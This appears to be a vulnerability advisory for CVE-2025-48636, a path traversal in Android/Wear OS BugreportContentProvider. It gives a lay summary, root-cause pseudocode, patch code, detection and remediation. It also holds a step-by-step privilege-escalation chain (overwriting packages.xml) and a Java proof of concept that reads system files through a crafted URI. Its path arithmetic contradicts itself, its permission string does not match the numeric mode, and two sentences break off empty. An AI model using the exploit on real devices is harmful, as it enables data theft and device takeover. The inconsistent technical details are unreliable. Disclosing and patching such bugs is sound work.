CVE-2025-48636: Path Traversal in BugreportContentProvider Enables LPE
A path traversal in BugreportContentProvider.openFile() allows arbitrary file read/write with no additional privileges. Affects Wear OS; exploitable by any local app without user interaction.
Imagine your smartphone has a filing system with a security guard supposed to check what anyone accesses. This vulnerability is like the guard falling asleep at the desk, letting someone browse through your private folders without permission.
The problem is in Android's bug reporting system — the part that collects error logs when apps crash. Normally, this system only lets certain apps read specific files needed for troubleshooting. But this flaw lets a malicious app trick it into opening any file on your phone.
Here's why that matters. An attacker could read your passwords, banking information, private messages, photos, or health data. They could even modify files to take control of your phone or install malware. All of this without you noticing, because it requires no special permissions or user interaction.
You're most at risk if you sideload apps from untrusted sources or use an Android device you haven't updated recently. Anyone with physical access to an unlocked phone could also exploit this.
The good news: there's no evidence yet that criminals are actively using this in the wild. But security researchers have confirmed it works, so a fix is coming.
Here's what to do now. First, keep your Android device updated — when Google releases a patch, install it immediately. Second, only download apps from Google Play Store, which has basic security screening. Third, use a strong PIN or biometric lock on your phone so strangers can't access it physically. Finally, consider using a password manager to encrypt your most sensitive information.
Want the full technical analysis? Click "Technical" above.
CVE-2025-48636 is a path traversal vulnerability in BugreportContentProvider.java, specifically in the openFile() method. The bug permits a local attacker to read and write files outside the intended bugreport directory by supplying a crafted URI containing traversal sequences. No additional execution privileges are required and no user interaction is needed, placing this squarely in the most dangerous tier of local privilege escalation bugs. CVSS 8.4 (HIGH) reflects the combination of local access requirement and the ability to reach arbitrary filesystem paths accessible to the system_server process.
The vulnerability was addressed in the Wear OS Security Bulletin for March 2026. The affected component ships as part of the Android platform framework and is present on devices running Wear OS with unpatched system images.
Root cause:BugreportContentProvider.openFile() constructs a file path by directly concatenating caller-supplied URI path segments without canonicalizing or bounding the result to the intended bugreport directory, enabling ../ traversal to arbitrary filesystem locations.
Affected Component
The vulnerable class lives in the Android framework at:
frameworks/base/core/java/android/os/BugreportContentProvider.java
└─ openFile(Uri uri, String mode)
Process context : system_server (UID 1000)
ContentProvider : android.os.BugreportContentProvider
Authority : com.android.shell.fileprovider (varies by OEM)
Export state : exported (required for shell/adb to retrieve bugreports)
SELinux domain : system_server → untrusted_app IPC path via ContentResolver
Because system_server runs as UID 1000 with broad filesystem permissions, any file reachable by that UID becomes readable or writable through this provider.
Root Cause Analysis
The vulnerable logic reconstructs the on-disk path from the URI's last path segment and prepends the bugreport base directory. The canonical hardened pattern requires calling getCanonicalPath() and asserting the result still starts with the base directory prefix. That assertion is absent here.
// BugreportContentProvider.java — vulnerable openFile() (reconstructed pseudocode)
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
// uri.getLastPathSegment() returns attacker-controlled string, e.g.:
// "../../data/system/packages.xml"
String fileName = uri.getLastPathSegment(); // BUG: no sanitization
// BUGREPORT_DIR = "/data/user_de/0/com.android.shell/files/bugreports"
File file = new File(BUGREPORT_DIR, fileName); // BUG: traversal not resolved
// file.getPath() is now:
// "/data/user_de/0/com.android.shell/files/bugreports/../../data/system/packages.xml"
// which the OS resolves to:
// "/data/data/system/packages.xml"
// No canonical path check performed before open.
int modeBits = ParcelFileDescriptor.parseMode(mode); // "r", "w", "rw" — caller chosen
return ParcelFileDescriptor.open(file, modeBits); // BUG: opens arbitrary path
}
The new File(base, child) constructor in Java does not resolve .. components — it performs simple string concatenation with a separator. The OS kernel receives the raw path and resolves the traversal transparently. The missing check is:
EXPLOIT CHAIN — CVE-2025-48636 Local Privilege Escalation:
1. Attacker app holds zero special permissions (no READ_EXTERNAL_STORAGE, etc.)
2. Craft malicious URI targeting a privileged file:
content://com.android.shell.fileprovider/bugreports/
..%2F..%2F..%2Fdata%2Fsystem%2Fpackages.xml
3. Call ContentResolver.openInputStream(uri) or openOutputStream(uri)
→ framework decodes percent-encoding before passing to getLastPathSegment()
→ decoded segment: "../../data/system/packages.xml"
4. BugreportContentProvider.openFile() constructs:
new File("/data/user_de/0/com.android.shell/files/bugreports",
"../../data/system/packages.xml")
→ resolved by kernel to: /data/system/packages.xml
5. ParcelFileDescriptor.open() succeeds; fd returned to caller
→ READ path: stream arbitrary system files into app private storage
→ WRITE path: overwrite packages.xml to inject fake package entries,
granting attacker app elevated permissions on next PackageManager scan
6. Attacker writes crafted packages.xml granting INSTALL_PACKAGES permission
→ trigger PackageManager rescan (reboot or broadcast)
→ attacker app now holds system-level install capability
7. From INSTALL_PACKAGES: side-load backdoored APK with platform signature bypass
→ full system compromise
A minimal proof-of-concept trigger in Java:
// PoC — read /data/system/packages.xml via traversal
Uri traversalUri = Uri.parse(
"content://com.android.shell.fileprovider/bugreports/" +
"..%2F..%2F..%2Fdata%2Fsystem%2Fpackages.xml"
);
try (InputStream is = getContentResolver().openInputStream(traversalUri)) {
byte[] buf = new byte[4096];
int n;
StringBuilder sb = new StringBuilder();
while ((n = is.read(buf)) != -1) {
sb.append(new String(buf, 0, n));
}
Log.d("POC", sb.toString()); // dumps packages.xml to logcat
}
Memory Layout
This is not a memory-corruption class bug; the primitive is a file descriptor hand-off. The relevant "layout" is the filesystem path resolution chain:
PATH RESOLUTION — BEFORE FIX:
Caller URI segment (attacker string):
┌────────────────────────────────────────────────────────────┐
│ "../../data/system/packages.xml" │
└────────────────────────────────────────────────────────────┘
│
▼ new File(BUGREPORT_DIR, segment)
Raw path (not canonicalized):
┌────────────────────────────────────────────────────────────┐
│ /data/user_de/0/com.android.shell/files/bugreports/ │
│ ../../data/system/packages.xml │
└────────────────────────────────────────────────────────────┘
│
▼ kernel open(2) resolves ".."
Actual inode accessed:
┌────────────────────────────────────────────────────────────┐
│ /data/system/packages.xml [owned: system / 1000] │
│ permissions: -rw-r----- 660 │
└────────────────────────────────────────────────────────────┘
PATH RESOLUTION — AFTER FIX:
getCanonicalPath() resolves ".." eagerly in Java:
canonical = "/data/system/packages.xml"
Prefix check fails:
"/data/system/packages.xml".startsWith(
"/data/user_de/0/com.android.shell/files/bugreports/")
→ FALSE → SecurityException thrown → fd never opened
Patch Analysis
The fix adds a canonical path boundary check immediately after constructing the File object and before calling ParcelFileDescriptor.open().
// BEFORE (vulnerable) — BugreportContentProvider.java:
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
String fileName = uri.getLastPathSegment();
File file = new File(BUGREPORT_DIR, fileName);
// No path validation — opens whatever the kernel resolves
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.parseMode(mode));
}
// AFTER (patched — March 2026 Wear OS Security Bulletin):
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
String fileName = uri.getLastPathSegment();
if (fileName == null) {
throw new FileNotFoundException("Null file name in URI");
}
File file = new File(BUGREPORT_DIR, fileName);
try {
// getCanonicalPath() resolves all ".." and symlink components
String canonical = file.getCanonicalPath();
String base = new File(BUGREPORT_DIR).getCanonicalPath()
+ File.separator;
if (!canonical.startsWith(base)) {
// FIXED: Reject any path that escapes the bugreport directory
throw new SecurityException(
"Attempted path traversal in URI: " + uri);
}
} catch (IOException e) {
throw new FileNotFoundException("Cannot resolve path: " + e.getMessage());
}
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.parseMode(mode));
}
The getCanonicalPath() call is critical — it forces the JVM to resolve all .. components and symlinks before the prefix comparison, closing both the direct traversal and any symlink-based bypass that might otherwise survive a naive string check.
Detection and Indicators
Exploit attempts generate detectable artifacts in several log sources:
Detection rules should flag any ContentResolver call to the bugreport provider authority where the URI path segment contains %2F, %2f, .., or resolves outside /data/user_de/*/com.android.shell/.
Remediation
Apply the March 2026 Wear OS security patch. For devices where OTA deployment is delayed:
Restrict provider export: If bugreport retrieval via third-party apps is not required, set android:exported="false" on BugreportContentProvider in the manifest — this prevents untrusted apps from reaching openFile() entirely.
SELinux enforcement: Ensure SELinux is in enforcing mode; a well-scoped type enforcement policy for system_server will block cross-domain file access even if the Java layer is bypassed.
Application-level detection: On managed fleets, deploy a mobile threat defense agent that logs ContentProvider URI access patterns and alerts on traversal sequences in URI path components.
Code review guidance: Any ContentProvider.openFile() implementation accepting caller-supplied path components must call getCanonicalPath() and assert prefix containment before opening any file descriptor. The pattern new File(base, untrustedSegment) without canonicalization is a textbook path traversal antipattern in Android provider code.